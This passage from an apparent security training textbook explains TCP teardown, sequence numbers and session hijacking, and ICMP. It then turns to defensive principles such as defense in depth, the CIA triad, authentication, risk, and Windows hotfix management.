The bottom of the slide shows how a connection is torn down. When the time comes to close the connec-tion, each end of the connection must again be closed separately. Assuming that the PC wants to close the connection first, the process starts when the PC sends a FIN packet to the server. The FIN portion indicates to the server that the PC wants to close the connection (continuing with the sequence count it has been using with the server). The server responds by sending an ACK to the PC that is acknowledging the FIN that the PC sent. Next, the server sends a FIN packet to the PC to close its side of the connection. Finally, the PC sends an ACK to the server to acknowledge the FIN.

Note

Sometimes you will hear the normal three-way TCP close referred to as tearing down a connection. Tearing down a connection never refers to the use of RST packets, which sometimes is referred to as aborting a con-nection.

TCP Error Checking

Probably the best thing about TCP is its built-in error checking. You have already seen how IP and UDP can use checksums to guard against data that accidentally has been corrupted during transmission, but TCP goes several steps farther. After the connection is established, TCP continually monitors it for lost or dis-ordered packets as well as corrupted ones. If either side finds any errors, it will refuse to acknowledge the bytes in question because the other end eventually will retransmit them. The protocol handles all this inter-nally, so the application need never know.

Note

Actually, TCP does not just handle error correction; it also does a lot of on-the-fly performance tuning. For example, it will make sure the packets it sends are of the optimum size for the network and receiver to process them most efficiently. Most of this performance tuning is irrelevant to security work, but if you really want to understand TCP, you should know something about it

85

IP C

ON

CEPS

PA

RT II

Sequence Numbers and Session Hijacking

TCP relies heavily on sequence numbers to identify specific bytes in its data stream, but that is not all se-quence numbers are good for. They also provide a rudimentary assurance that the packets in a stream are all coming from the same source. If packets arrive based on a different ISN, the sequence numbers on the indi-vidual bytes will not be anywhere near what they should be. Sequence numbers too low will be assumed to be retransmissions and the receiver will silently drop them. Sequence numbers that are much higher than the next expected sequence number also are dropped. Only sequence numbers relatively close to the next expected sequence number are considered to be authentic parts of the communication.

If an attacker can make a reasonably good guess as to what the current sequence number is for a TCP connection, he can potentially use an attack known as TCP session hijacking to impersonate one of the two communicating parties and take over the session. This attack exploits a fundamental weakness in TCP.s secu-rity: the fact that there really is not any way to know with whom you are communicating.

The attack involves having an attacker guess your connection’s ISN (or just observe it if watching at that time). Also, an attacker can count (or guess!) how many bytes probably have been transmitted on that connection. Knowing both numbers, an attacker can take a good chance at making up a sequence number for his packets that is fairly close to the real one. This would allow the attacker to insert his packets into the legitimate stream. The attacker would need to spoof the source IP address of his packets to make it seem as though the data came from one of the two legitimate endpoints, and if the spoofing is successful, then the packets with the spoofed source address will update the connection’s sequence number. The original end-point, the one spoofed, soon gets out of sync with the server, causing the server to ignore its packets. At this point, the attacker will have gained undisputed control over half of the connection. The attacking machine effectively has usurped the place of one of the legitimate parties without the other being any the wiser, and the attacker then is free to issue whatever commands he likes with the full privileges of the original party. The attacker won’t receive any replies, which instead will go to the

IP address the attacker is spoofing, but having to issue commands blindly isn’t much of a problem for attack-ers.

As you can see, all this sequence number checking is not much of a protection against a determined attack, but it is much better than nothing. The best protection against session hijacking attacks is to make sure your TCP stacks use good pseudo-random ISNs and to try to use encrypted protocols whenever possible. Even if the attacker can get access to the underlying connection, he still will not know the correct encryption key for that session, and thus anything he sends will not be decrypted properly at the receiving end and will be thrown away as junk.

TCP Timeouts

We mentioned that if the receiver fails to ACK bytes it receives, the sender will assume that they were lost or garbled, and will eventually retransmit them. This retransmission is handled via a timeout counter on the sender’s end. The timeout counter starts at 1.5 seconds when a connection is initialized. In other words, when the sender transmits a packet, it will wait up to 1.5 seconds to receive an ACK. If the timeout counter expires, the sender will assume the packet was lost and retransmit it. The counter will increase each time subsequent timeouts occur on the same connection. In this way, the timeout counter gets longer with each retransmission as TCP tries to find the most appropriate value for that connection. In fact, it doubles almost each time, going from 1.5 seconds to 3 seconds, then to 6, 12, 24, 48, and finally 64 seconds.

86

IP CON

CEPTS PART II

This whole process of adjusting timeout values on the fly is referred to as an exponential backoff algorithm. In other words, if the link is too slow or too congested to deliver the packet in a short amount of time, TCP tries to remember that and won’t bother timing out quite so often. The timeout period eventually adjusts itself automatically to the network performance between the two hosts.

TCP Summary

We hope by now you have a much better idea of how much work TCP puts in to making sure your connections are as efficient and as error-free as possible. Having all that built-in error correction capability means a tradeoff between raw speed and reliable communications, but for most applications, especially those designed for the Internet, it is probably well worth it. It is easier to program for, because TCP takes care of a lot of the grungy details for you. Who could ask for anything more?

ICMP

The third (and final) protocol we discuss in this module is the Internet Control Message Protocol (ICMP). We mentioned this briefly in the last module, but this is a very good time to cover it in more detail. ICMP is a network layer protocol, unlike TCP and UDP, which are part of the transport layer. As such, ICMP actually is a peer of IP, even though it is still encapsulated in an IP packet. In fact, IP, TCP, and UDP all rely on ICMP to provide information about network conditions as well as for status and error messages pertaining to their transmissions.

ICMP is a very simple protocol. It is datagram based, like IP and UDP. Most ICMP transactions require only one or two packets. ICMP packets only have 3 header fields, fewer fields even than UDP, and one of them is just a checksum!

ICMP Type

The type field contains an integer that says what type of ICMP packet this is. Although there are 8 bits allocated to hold the type, there are many defined types. Check out the IANA page, which lists the many options for the ICMP type field,

at http://www.iana.org/assignments/icmp-parameters

ICMP Code

The code also has a bearing on the type. For many messages, it acts as a sort of a subtype. When the type field is 3, the packet is an ICMP Destination Unreachable packet. The code can tell the receiver much more detailed information. A code of 3 would indicate that the host was available, but the specific port requested was not listening. A code of 9 might indicate that a router or firewall rule blocked your communication to the remote host.

The ICMP Payload

The content of the packet’s payload might also be important to the receiver. When a host generates an ICMP error message, it always includes the entire IP header of the packet that caused the error condition. It also includes the first 8 bytes of the IP payload, which is the beginning of the TCP or UDP header containing the source and destination ports. This lets the original sender know exactly which packet caused the error and consequently to which application it should deliver the error message.

87

IP C

ON

CEPS

PA

RT II

ICMP Echo Request / Echo Reply (Ping)

One of the most common uses for ICMP is to test whether a host is up and accepting network connections. ICMP defines the Echo Request and Echo Response message types to provide this information. The usual way to send these packets is to use the ping command, as in Figure 3.8. Although some of the details of the ping command differ from OS to OS, the basics are always the same. Ping sends several ICMP Echo Request packets (in this case, three) to the remote machine and waits for their replies. When it receives replies, it prints out a few statistics about them. The most useful statistic probably is the round trip ping time, listed in the figure as time=x.xxx ms. The ping command keeps track of when it sends the Echo Request packet and when it receives the corresponding Echo Reply. The difference between those two times is the round trip time. In other words, it gives an indication of how long it took both the request and the reply packets to travel the network links between the two computers, which should tell you something about how fast your link is. Anything under 10 milliseconds probably is your local LAN, although ping times of 200 or 300 ms (or more) are not uncommon over a WAN like the Internet.

Figure 2.11

Figure 2.12

88

SECURITY BEST PRA

CTICES

SECURITY BEST PRACTICES - DEFENSE IN DEPTH

In this module, we look at threats to our systems and take a “big picture” look at how to defend against them. You’ll learn that protections need to be layered - a principle called defense in-depth. We’ll explain some principles that will serve you well in protecting your systems and use real-world attacks from history, which were wildly “successful” to illustrate them. We examine why the attacks were successful and, more im-portantly, what measures could have been taken to lessen the impact or to stop them altogether - practical defense in-depth.

The concept behind defense in-depth is simple. The picture we have painted so far is that a good security architecture, one that can withstand an attack, has many aspects and dimensions. We need to be certain that if one countermeasure fails, there are more behind it. If they all fail, we need to be ready to detect that something has occurred and clean up the mess expeditiously and completely, and then tune our defenses to keep it from happening to us again.

One of the most effective attacks that penetrate standard perimeters is malicious code. These are things like viruses and Trojan software. They come in as attachments to e-mail messages, and on those floppies we bring in from home (even though we aren’t supposed to), and the CD-ROMs we bring home from DEFCON. These can do a lot of damage. Most people have heard of BackOrifice and NetBus, but there are a score of other Trojans. The best defense is keeping your anti-virus software up-to-date, and scanning at the firewall, server, and desktop level. It isn’t particularly expensive or hard, but it takes discipline.

It’s commonplace to encounter systems that don’t even record when successful and unsuccessful logons and logoffs occur. That’s just basic, sensible auditing and they don’t turn it on. If there is ever a problem, how will we run it to ground? You may or may not be in a position where you can affect whether these things are done at your organizational level; but, you can often take the responsibility for your office, shop, division, or desktop. There are even personal firewall software products - like TCP Wrappers, BlackICE Defender, Zone Alarm, Norton Internet Security, and McAfee Personal Firewall. These range from free to commercial soft-ware, and they provide perimeter protection at the host level. The threat is targeting each of us. What role and responsibility are you willing to accept for defense in-depth?

The Next Figure 3.1 shows another way to think of the defense in-depth concept. At the center of the di-agram is your information. However, the center can be anything you value, or the answer to the question, “What are you trying to protect?” Around that center you build successive layers of protection. In the dia-gram, the protection layers are shown as blue rings. In this example, your information is protected by your application. The application is protected by the security of the host it resides on, and so on. To successfully get your information, an attacker would have to penetrate through your network, your host, your applica-tion, and finally your information protection layers.

Using a defense in-depth strategy does not make it impossible to get to your core resources - the resource at the center of the diagram. However, a well-thought-out defense in-depth strategy, utilizing the strongest protections feasibly possible at each layer, presents a formidable defense against would-be attackers.

89

SECU

RITY

BES

T PR

ACT

ICES

Figure 3.1

PrinciplesWe start by explaining some fundamental principles that you need to understand and apply everyday in securing your systems. We progress from what exactly it is about our systems that we’re trying to protect - confidentiality, integrity and availability - to the risks our systems face. After looking at threats and vulner-abilities, we’ll talk about an overarching approach to protecting our systems. We’ll show you the importance of layering our protections, with defense in-depth. This will give you a good foundation for evaluating and securing your systems.

Confidentiality, Integrity, and Availability

What exactly about the system or information do we wish to protect? Traditionally,information security pro-fessionals focus on ensuring confidentiality, integrity, and availability. Simply “CIA” in “infosec” jargon, these are three bedrock principles about which we will be concerned. A good habit when first exploring any new business application or system is to think about confidentiality, integrity, and availability - and countermea-sures or lack thereof for protecting these. Attacks might come against any or all of these.

We will discuss a variety of threats that jeopardize our computer systems. To focus that discussion, we will consider some of the more famous attacks that have occurred. Now, information assurance can get really complex, but these kinds of problems decompose nicely. As we work our way through the material, we will point out aspects of confidentiality, integrity, and availability, in both the attacks and also the defenses we discuss.

90

SECURITY BEST PRA

CTICES

Let’s use an example: You’ve been assigned to oversee the security of your employer’s new e-commerce site, its first attempt at conducting business directly on the Internet. How do you approach this? What should you consider? What could go wrong?

Think C-I-A - confidentiality, integrity, and availability. Customers will expect that the privacy of their credit card numbers, their addresses and phone numbers, and other information shared during the transaction be ensured. These are examples of confidentiality. They will expect quoted prices and product availability to be accurate, the quantities they order at the prices to which they agreed to not be changed, and anything downloaded to be authentic and complete. These are examples of integrity. Customers will expect to be able to place orders when convenient for them, and the employer will want the revenue stream to continue without disruption. These are examples of availability.

Keep in mind that the dimensions we have been discussing can be interrelated. An attacker might exploit an unintended function on a web server and use the cgi-bin program “phf” to list the password file. Now, this would breach the confidentiality of this sensitive information (the password file). Then, in the privacy of his own computer system, the attacker can use brute force or dictionary-driven password attacks to decrypt the passwords. Then, with a stolen password, the attacker can execute an integrity attack when he gains entrance to the system. And he can even use an availability attack as part of the overall effort to neutralize alarms and defensive systems, so they can’t report his existence. When this is completed, the attacker can fully access the target system, and all three dimensions (confidentiality, integrity, and availability) would be in jeopardy. Always think C-I-A.

We chose a very simple, well-known attack for a reason. A large number (in fact, an embarrassingly large number) of corporate, government, and educational systems that are compromised and exploited are defeated by these well-known, well-publicized attacks. An attack does not have to be the latest and greatest in order to be successful much of the time. Countless numbers of attacks, covering years of experience, are detailed on the Internet and in books and courses. Often these are still viable, especially when defense in-depth is not being practiced.

Utility, Authenticity, and Possession

CIA certainly has classical characteristics of information security and always should be in the mind of securi-ty professionals. In Fighting Computer Crime, A New Framework for Protecting Information, Donn B. Parker clarifies and expands these characteristics into a set of six foundational elements: availability, utility, integri-ty, authenticity, confidentiality, and possession. Each of these is (somewhat subtly) different from the other, and Parker asserts that they are necessary to represent a certain aspect of information protection. Scenarios of information loss, and thus requirements for information security, exemplify one or more of these founda-tional elements.

Parker defines utility as “usefulness of information for a purpose.” Imagine that the only copy of some critical information is encrypted, and the encryption key has been lost. The information is still available, but it is not suitable for its intended purpose and thus fails to meet the need for utility.

Authenticity is “validity, conformance, and genuineness of information.” Imagine someone - who has no association with SANS - writing and printing a book about computer security but saying on the cover and title page that this is a SANS book. Such a book would not be authentic; it would violate the requirement for information authenticity.

91

SECU

RITY

BES

T PR

ACT

ICES

Possession is “the holding, control, and ability to use information.” Suppose that an organization’s backup tapes are all encrypted, and that they have been stolen and held for ransom. Parker would contend that the information is available (by paying the ransom); what is lacking is possession.

So, the next time you are thinking of the security requirements for your project, system, or business, you might think CIA, or you might expand your consideration to include availability, utility, integrity, authentici-ty, confidentiality, and possession.

Identity, Authentication, and Authorization

It is critical for an information security practitioner to understand clearly the closely related concepts of identity, authentication, and authorization - their meanings and their distinctive differences.

Identity is one of those common words that seem difficult to define without using the word in its own defi-nition. By identity, we mean “whom someone or what something is;” for example, the name by which one is recognized. This identity may be of a human being, a program, a computer, or data. Identification is the process for establishing whom someone or what something claims to be.

Authentication is the process of confirming the correctness of the claimed identity. A motorist identifies himself to a police officer and presents a driver’s license for confirmation. The officer compares the pho-tograph, description, and signature with that of the motorist to authenticate the identity. Do you see the distinction? Identity and authentication do not mean the same thing.

Finally, authorization means the approval, permission, or empowerment for someone or something to do something. Cleaning personnel may have authorization to physically enter all rooms in the organization after hours. A running process might be authorized to access the payroll database. Even with identity and authentication telling us with confidence whom someone is, we still need authorization to tell us what the identified person is allowed to do. Let’s tie these together with an example. Someone presents as her iden-tity a picture ID smart card to a building guard. The guard checks the picture and the name against her face and perhaps uses a biometric device as well; this is authentication. Checking the name on the smart card against a database tells the guard that she is allowed in the building; this is authorization. He allows you to enter. It takes all three for access; remember, the whole point is access control.

Figure 3.2

92

SECURITY BEST PRA

CTICES

Means of Authentication

We just used two examples of how authentication might be performed, for example possessing an ID card and comparing a photo with a face. Let’s be more rigorous. Classically, authentication has been based on:

Something you know

Something you have

Something you are

Easy, right? I know my dog’s name is Spot; I have a driver’s license; and I am 5’ 11”. So now I can authenticate to a system securely, right? This is not quite what we meant.

Something you know should be something only you know and can keep to yourself. This might be the PIN to your bank account or a password. Most commonly, it is a password, and it should be a strong password. A strong password normally is at least seven characters long, contains upper and lower case letters, contains numeric characters and at least one special character, and is not something that can be found in a dictio-nary.

Something you have might be a photo ID or a security token. RSA’s SecurID is a commonly used security to-ken that comes in the same size and shape as a credit card or as a key fob. The token also may plug into one of your computer’s ports or be in software. It has a pseudorandom number sequence that changes every sixty seconds. Combined with a PIN, this is two factor authentication - something you have and something you know.

Figure 3.3

93

SECU

RITY

BES

T PR

ACT

ICES

RSA SecurID

RSA’s SecurID system is commonly used for strong authentication. The system combines something you have, the SecurID, with something you know, a PIN. Whether in credit card, key fob, or software form, the ID displays a number whose value changes every 60 seconds in accordance with a pseudorandom number sequence. Each SecurID is uniquely numbered and has its own sequence. The only way to know this min-ute’s value is to see the number on the token - something you have - or eavesdrop as it is being transmitted. However, even the correct value is only good one time, so an eavesdropper cannot successfully repeat what was heard.

Something you know is also part of the authentication scheme, in this case a PIN. The most secure form of the SecurID tokens includes numbered buttons on the actual card into which the user enters his PIN. The card calculates and displays the correct number to send for authentication, based on the current min-ute’s slot in the pseudorandom number sequence and the PIN. In cards without these buttons, the PIN is transmitted in clear text along with the current minute’s number. Although the random number cannot be known without access to the token, the other factor, what you know, is vulnerable to eavesdropping.

At a central location, typically a dedicated security server, the corresponding random number can be com-puted for each unique SecurID device or software. If the number submitted by the user matches the number computed centrally, authentication is successful, but only one time for each minute’s value.

Because of clock drift, the central server computes the “correct”î value for the current minute, the previous minute, and the following minute. Matching any these will be successful. If the SecurID and central system clocks have drifted apart such that the match was for an earlier or later minute, adjustments will be made so that subsequent computations will match on the “current” minute’s value. Such adjustments will keep the clocks in sync” indefinitely, with use. A SecurID card would have to go unused for several months before it would likely drift out of the 3-minute window and need to be resync’d by an administrator.

Figure 3.4

94

SECURITY BEST PRA

CTICES

BIOMETRIC AUTHENTICATION

Something you are is biometrics based. There are many different characteristics that are considered suffi-ciently unique in and on a human body. Some devices used for biometric authentication are iris scanners, retinal scanners, hand geometry substantiaters, finger scanners, and many others as well . . . even facial scan-ners. Facial scanning in crowds, such as the U.S. football Super Bowl spectators, for identification was already newsworthy prior to the events of September 11, 2001. Since that date, there has been an increased interest in employing biometrics for authentication.

Despite its rising popularity, biometric authentication is not without its downsides. Once compromised, un-like passwords or tokens, biometric parameters cannot be changed. However, some aspects of the body can be simulated for detectors, as seen in many spy movies. Perhaps the most practical limitation is the degree to which false positives or false negatives can be tolerated in a particular application. Because of this limita-tion, biometrics in particular always should be in the context of defense in-depth.

Now we know with whom we are dealing; next we cover with what we are dealing and how different data sometimes require different protection.

Data Classification

The reality is that no organization has sufficient resources to protect all information with the rigor that the most sensitive information requires. Not all information requires the protection needed for nuclear weapons designs or war plans. Consequently, so that appropriate protections can be applied based on the sensitivity of the information and on the potential impact of loss, organizations often classify their data into differing levels. Loss might be in terms of confidentiality (what we usually think of regarding government or corpo-rate secrets) but also could be in terms of integrity or availability.

Governments and their militarizes, such as the U.S. Department of Defense (DoD), started the phenome-non of labeling data in order to apply higher levels of protection to data that was so sensitive that if it were leaked it could harm their country’s national security. Subsequently, this is becoming commonplace in the corporate world, as well. A quick listing of the DoD and federal levels follows:

Top Secret - The highest levels of protection are given to this data; it is critical to protect.

Secret - This data is important, and its release could harm national security.

Confidential - This is important, and it could be detrimental to national security if released.

Sensitive But Unclassified (SBU) - This generally is information that is sensitive and should not be released (like SSN’s).

Unclassified - They prefer to keep it from being released but the nation would not be harmed if it were.

Corporations are labeling their data, too. It is extremely difficult to protect all the data in a company. But some data easily is recognized as needing special protection. Perhaps you manufacture closed-source software; that source code would need special protection because its release could impact your revenues directly. Could it damage the morale of your company if everyone learned the salaries of their co-workers? Do they all earn the same amount of money?

95

SECU

RITY

BES

T PR

ACT

ICES

Generally, the best strategy for classifying data is to use a few clearly delineated categories and train your personnel in distinctive category use. Think about whom has the authority to classify data and to change data classification. Think about how the entire U.S. government and military have but a few levels of classi-fication, considering the vast quantities of data with which they deal - and some suggest that they have too many categories. You only need a different category when you have a significant quantity of information that requires significantly different protection.

Threats and Vulnerabilities

We’ve been talking about what we need to protect, e.g. the confidentiality, integrity, and availability of our systems. Next, we’ll discuss from what we need to protect them - the threats to them and their vulnerabili-ties to those threats. We’ll see how risk is a function of threat and vulnerability.

Threats

Not all the bad things that happen to computer systems are attacks per se. There are fires, water damage, mechanical breakdowns, accidental errors by systems administrators, and plain old user error. But all of these are called threats. We use threat models to describe a given threat and the harm it could do if the system has a vulnerability.

In security discussions, you will hear a lot about threats. Threats, in an information security sense, are any activities that represent possible danger to your information or operation. Danger can be thought of as anything that would negatively affect the confidentiality, integrity, or availability of your systems or services. Thus, if risk is the potential for loss or harm, threats can be thought of as the agents of risk.

Threats can come in many different forms and from many different sources. There are physical threats, like fires, floods, terrorist activities, and random acts of violence. And there are electronic threats, like hackers, vandals, and viruses. Your particular set of threats will depend heavily on your situation - what business you are in; who your partners and adversaries are; how valuable your information is; how it is stored, maintained, and secured; who has access to it; and a host of other factors.

The point is that there are too many variables to ever protect against all the possible threats to your infor-mation. To do so would cost too much money and take too much time and effort. So, you will need to pick and choose against what threats you will protect your systems. Security is as much risk management as anything. You will start by identifying those threats that are most likely to occur or most worrisome to your organization. The way to do this is by identifying three primary areas of threat.

The first is based on your business goals. If your business is heavily dependent on a patented formula, you would consider theft of that formula to be a likely threat. If your business is the transferring of funds over a network, you would consider attacks on that network link to be a likely threat. These are two examples of business-based threats.

96

SECURITY BEST PRA

CTICES

The second type of threat is those based on validated data. If your web site is repeatedly hacked through your firewall, you would consider Internet hackers to be a major threat. If your main competitor always man-ages to find out key confidential information about your business plans, you would start considering corpo-rate espionage a threat. These are examples of threats identified because of validated instances of damage based on those threats. In some ways, these can be the most serious because they have already happened and are likely to happen again in the future.

The final types of threats are those that are widely known in the security industry. To protect against them is just good common sense. That is why you put badge readers and guards in buildings, why you use pass-words on your computer systems, and why you keep secret information locked in a safe. You may not have had attacks against any of these, but it is commonly understood to be foolish not to do so.

Vulnerabilities

In security terms, a vulnerability is a weakness in your systems or processes that allow a threat to occur. How-ever, simply having a vulnerability by itself is not necessarily a bad thing. It is only when the vulnerability is coupled with a threat that the danger starts to set in. Let’s look at an example.

Suppose you like to leave the doors and windows to your house unlocked at night. If you live in the middle of the woods, far away from anyone else, this may not be a bad thing. There really aren’t many people who wander around, and, if you’re high enough on the hill, you’ll be able to see them coming long before they present a danger. So, in this case, the vulnerability of having no locks is there, but there really isn’t any threat to take advantage of that vulnerability.

Now suppose you move to a big city full of crime. In fact, this city has the highest burglary rate of any city in the country. If you continue your practice of leaving the doors and windows unlocked, you have exactly the same vulnerability as you had before. However, in the city the threat is that much higher. Thus, your overall danger and risk is much greater.

Vulnerabilities can be reduced or even prevented, provided of course that you know about them. The prob-lem is that many vulnerabilities lay hidden, undiscovered until somebody finds out about them. Unfortu-nately, the “somebody” is usually a bad guy. The bad guys always seem to find out about vulnerabilities long before the good guys.

Relating Risk, Threat and Vulnerability

Risks, threats, and vulnerabilities are highly interrelated. Their relationship can be expressed by this simple formula:

Risk(due to a threat) = Threat x Vulnerability(to that threat)

97

SECU

RITY

BES

T PR

ACT

ICES

This formula shows that risk is directly related to the level of threat and vulnerability you,your systems, or your networks face. Here’s how the formula works:

If you have a very high threat, but a very low vulnerability to that threat, your resulting risk will be only moderate. In the example we used before, if you live in a high crime neighborhood (thus, high threat) but you keep your doors and windows locked (so you) have a low vulnerability to that threat), your overall risk is moderate.

If you have a high vulnerability to a threat (by keeping your doors and windows unlocked), but the threat itself is minor (by living in the woods), once again you have only a moderate risk factor.

If, however, you have a high level of threat potential (a high crime area) and your vulnerability to that threat is very high (no locks), you have a very high risk factor.

Impact

ISO 27001 and many risk management methodologies include the magnitude of the impact resulting from a threat connecting with a vulnerability in determining risk. Sometimes in these methodologies they use the term asset instead of impact. Our simple formula for risk becomes:

Risk(due to a threat) = Threat x Vulnerability(to that threat) x Impact

The greater the impact on an organization, the greater the risk that particular threat and vulnerability rep-resents to the organization.

Of course, this formula is nice, but keep in mind that there are no absolutes in security. It is challenging to assign meaningful numeric values to areas like threats and vulnerabilities, but this formula can be used as an aid to guide your thinking - as a reminder of the concept - as much as an absolute mathematical calculation. When you begin to get into discussions and arguments about risks, threats, and vulnerabilities (and yes, you will get into arguments about this stuff), you can refer back to this basic formula to help guide you in your decision making process.

The Threat Model

Vulnerabilities are the gateways by which threats are manifested. So, for a threat model to have any mean-ing, there has to be a threat. Are there people with the capability and inclination to attack and quite possibly harm your computer systems and networks? What is the probability of that happening? Consider attacks from the Internet as an example: the probability is high that any non-private address will be targeted several times a day, or even an hour. The most common countermeasure for most organizations is to deploy fire-walls or other perimeter devices.

These can significantly reduce the volume of attacks that originate from the Internet. But, they should be only one component of our overall defenses. Attacks pass through firewalls all the time - for example, web-based attacks against your web server - and attacks from insiders might never pass through a firewall. That is why defense in-depth must be practiced, as we’ll discuss in the next section

98

SECURITY BEST PRA

CTICES

So there is a threat, and there certainly are vulnerabilities; when a threat is able to connect to its specific vulnerability, the result can be system compromise. Again, the most common tactic is to protect systems with perimeter devices such as firewalls. It’s cost-effective, it’s practical, and it’s highly recommended. Even the most open universities, or other research environments that require themselves to be very open, should be able to have some perimeter defense. Perhaps it can be at the department or building level or even at the host level.

Lessons from Historical Attacks

So far we have been discussing theory that provides a framework to understand and use tools like the ones we discussed in risk management - the big picture. Now we want to move away from theory a bit into some historical applications of confidentiality, integrity, and availability. The attacks we are going to discuss repre-sent some of the most famous information security defense failures:

Morris worm - Availability - 1988

Melissa macro virus - Availability - 1999

W32.SirCam worm - Confidentiality - 2001

Code Red II worm - Integrity - 2001

Blaster worm - Availability and Integrity - 2003

These span from 1988 to 2003. Hopefully, we can learn enough from history to help prevent us from hav-ing to repeat it. We don’t have space in this book to explore each of these in great detail, but you should be familiar with each of these as a security professional. We recommend that you search the Internet for these attacks and read a bit more. We provide a number of URLs to help get you started. There are information security lessons that we ought to be able to learn from these well-known attacks. In each case, there was a computer system vulnerability, and it was exploited.

In each of the cases, there was an absence of defense in-depth. In fact, in the case of most systems affected by the Morris worm and the Code Red attack, the exploit did not have to penetrate any defensive perime-ters. So, that’s “Defense in-shallow!”

As we go through each of the attacks, try to look out for the three primary security dimensions: confidenti-ality, integrity, and availability. Consider how the defenses for each failed or did not exist in the first place. The vulnerability is listed in every case, so please note how the threat was able to exploit the vulnerability to compromise or affect the target system(s).

99

SECU

RITY

BES

T PR

ACT

ICES

Service Packs, Hotfixes, and Backups

Security conscious managers of Windows servers and workstations, spend a lot of their work time with Service Packs, hotfixes, and backups. Service Packs and hotfixes must be obtained, tested, installed, and checked. The Windows operating systems is extremely complex to manage, for instance, “DLL Hell” is Microsoft’s term for the problems and vulnerabilities that occur when there are missing, incompatible, or out-of-date Dynamic Link Library (DLL) files on the hard drive. Updating DLLs and other system files is critical for security.

Hotfixes and Service Packs also must be coordinated with one’s backups so that successful restores are possible if something goes wrong. If you do anything less than a full restore of the operating system on a machine which has had a later Service Pack applied, chances are the restore will fail to make a viable OS. Backups also are critical for disaster recovery, auditing, forensics, and being able to get back quickly to square one in the lab when testing new changes. Not having good backups also is just the sort of thing that can get you fired, so it’s important to talk about having them. This module will discuss techniques for applying Service Packs, installing hotfixes, and managing backups (and not just tape backups). In particu-lar, this module will cover:

• Slipstreamed Service Packs

• The Network Security Hotfix Checker (HFNETCHK.EXE)

• System and Windows Update

• Software Update Services

• Windows Backup (NTBACKUP.EXE)

• Binary Drive Images

• System Restore

Service Packs

A Service Pack is a collection of updates and hotfixes rolled up into one large installation package (typ-ically over 100MB in size). It is critical for security that the latest Service Pack be installed on vulnerable systems. You can get the latest Service Pack for all the Windows operating systems from Microsoft’s main download website (http://www.microsoft.com/downloads/).

Testing And Staging Deployments

A guaranteed recipe for disaster is to obtain a new Service Pack or patch and install it throughout the enterprise without testing it first. Though it is critical to install the latest Service Pack, doing so can break applications or cause network problems. The applications that break usually can be updated themselves, and the network problems usually can be solved, but you don’t want to discover these issues the hard way.

100

SECURITY BEST PRA

CTICES

Hotfixes

A hotfix is a small program from Microsoft which will replace one or a few operating system files currently on the hard drive with updated versions. A hotfix usually is intended to fix a single problem or patch a single hole, but there also are “roll-up” or “cumulative” hotfixes that fix many issues at once. Often a variety of hot-fixes will be released to deal with a new spate of related problems, then Microsoft will bundle these patches together into one roll-up hotfix.

Staying on top of the latest hotfixes, testing them, rolling them out to boxes, and auditing their correct distribution will consume a great deal of your time. And, again, it is essential to the security of your network that you test and apply patches soon after their release, especially on Internet-accessible servers.

You can download the latest patches and roll-up hotfixes from Microsoft’s security site (http://www.micro-soft.com/security/). The best way to stay on top of new patches, though, isn’t by visiting Microsoft’s website four times a day. The easiest way to keep on top of new hotfixes, exploits, viruses, etc., is by subscribing to free e-mail security bulletin services and joining security mailing lists.

E-Mail Security Bulletins

Subscribing to e-mail security bulletins and mailing lists is so important that the present author once ad-vised a client to fire his “security administrator” for not having even a single subscription. (The administrator complained: “Our virus scanners update themselves automatically; why do I need to read about it?”) Perhaps if one is browsing security and hacking websites every day, then maybe it isn’t necessary to subscribe to any-thing, but it sure makes work more difficult. Besides, many interesting people work in your field; you should get to know them!

Which bulletins to subscribe to? Some of the most popular services and lists can be found at the following websites, and all are free:

http://www.microsoft.com/security/

http://www.ntbugtraq.com

http://www.sans.org

http://www.kbalertz.com

The last site is not for security per se: whenever Microsoft publishes new

KnowledgeBase “Q-articles” that are of interest to you, the service will send you a summary list. (Q-articles are how-to and help articles.) There are over 100 different categories of interest from which you can select, so you’ll only be apprised of items about which you care.

If you’d also like to browse security sites to stay informed, then a good place to start is http://packetstorm-security.nl. The Packetstorm web site is easy to search, contains a variety of articles from different “perspec-tives” on security, and usually has a link to any hacking/security tool you are likely to try to find.

101

SECU

RITY

BES

T PR

ACT

ICES

Installing Multiple Hotfixes

On Windows NT, hotfixes typically had to be installed in a fixed order, and you often had to reboot after each patch. Windows 2000/XP/2003 hotfixes, on the other hand, usually can be installed in any order - and you don’t have to reboot each time, if you use a simple trick.

Hotfix executables support a command-line switch to make their installation hands-free (-M) and another to prevent the automatic reboot of the system (-Z). Multiple hotfixes, therefore, can be installed easily with a single batch file. The last command in the batch file should reboot the system, e.g., with the SHUT-DOWN.EXE utility from the Resource Kit.

The following is a sample batch file:

c:\hotfixes\Q423456_w2k_sp3_x86.exe -z –m

c:\hotfixes\Q927324_w2k_sp3_x86.exe -z –m

c:\hotfixes\Q814933_w2k_sp3_x86.exe -z –m

c:\hotfixes\Q745615_w2k_sp3_x86.exe -z –m

c:\hotfixes\Q313789_w2k_sp3_x86.exe -z –m

qchain.exe

shutdown.exe /r

If you need to uninstall a patch manually, go to the %SystemRoot% \$NtUninstallQ555555$\ folder, where Q555555 is your patch number, and run “hotfix.exe -y -m” there.

What Does QCHAIN.EXE Do?

A problem occurs when two or more hotfixes both update the same file(s): which hotfix becomes the effec-tive one? Fortunately, the problem is solved if the QCHAIN.EXE utility is run after the patches have been in-stalled but before the system is rebooted. QCHAIN.EXE allows us to install multiple patches in a row without rebooting after each one. Search Microsoft’s website for “QCHAIN.EXE” to locate the latest download URL (it seems to change often), or find article number Q296861 to get the URL.

102

INFO

RMATIO

N SYSTEM

SECU

RITY

Information System Security

Introduction

Unlike any other information technology program, the primary mission of an information security program is to ensure that systems and their contents remain the same. Organizations expend hundreds of thousands of dollars and thousands of man hours to maintain their information systems. If threats to information and systems didn’t exist, these resources could be used to improve the systems that support the information. However, attacks on information systems are a daily occurrence, and the need for information security grows along with the sophistication of such attacks.

Organizations must understand the environment in which information systems operate so that their infor-mation security programs can address actual and potential problems. This module describes this environ-ment and identifies the threats it poses to organizations and their information.

Business Needs First

Information security performs four important functions for an organization:

1. Protecting the organization’s ability to function

2. Enabling the safe operation of applications running on the organization’s IT systems

3. Protecting the data the organization collects and uses

4. Safeguarding the organization’s technology assets

Protecting the Functionality of an Organization

Both general management and IT management are responsible for implementing information security that protects the organization’s ability to function. Although many business and government managers shy away from addressing information security because they perceive it to be a technically complex task, in fact, im-plementing information security has more to do with management than with technology. Just as managing payroll has more to do with management than with mathematical wage computations, managing informa-tion security has more to do with policy and its enforcement than with the technology of its implementa-tion.

Attacks

